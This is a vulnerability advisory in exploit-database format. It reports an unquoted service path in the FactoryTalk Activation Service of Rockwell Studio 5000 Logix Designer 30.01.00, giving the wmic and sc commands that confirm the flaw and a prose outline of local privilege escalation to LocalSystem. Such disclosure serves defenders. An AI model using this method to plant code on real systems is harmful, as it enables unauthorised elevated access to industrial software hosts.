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# Exploit Title: Studio 5000 Logix Designer 30.01.00 - 'FactoryTalk Activation Service' Unquoted Service Path  
# Discovery by: Luis Martinez  
# Discovery Date: 2019-11-18  
# Vendor Homepage: https://www.rockwellautomation.com/en_NA/overview.page  
# Software Link : https://www.rockwellautomation.com/en_NA/products/factorytalk/overview.page?pagetitle=Studio-5000-Logix-Designer&docid=924d2f2060bf9d409286937296a18142  
# Rockwell Automation Technologies  
# Tested Version: 30.01.00  
# Vulnerability Type: Unquoted Service Path  
# Tested on OS: Windows 10 Pro x64 es  
  
# Step to discover Unquoted Service Path:   
  
C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Rockwell" |findstr /i /v """  
  
FactoryTalk Activation Service FactoryTalk Activation Service C:\Program Files (x86)\Rockwell Software\FactoryTalk Activation\lmgrd.exe Auto  
  
# Service info:  
  
C:\>sc qc "FactoryTalk Activation Service"  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: FactoryTalk Activation Service  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files (x86)\Rockwell Software\FactoryTalk Activation\lmgrd.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : FactoryTalk Activation Service  
DEPENDENCIES : winmgmt  
: wmiapsrv  
: +NetworkProvider  
SERVICE_START_NAME : LocalSystem  
  
#Exploit:  
  
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.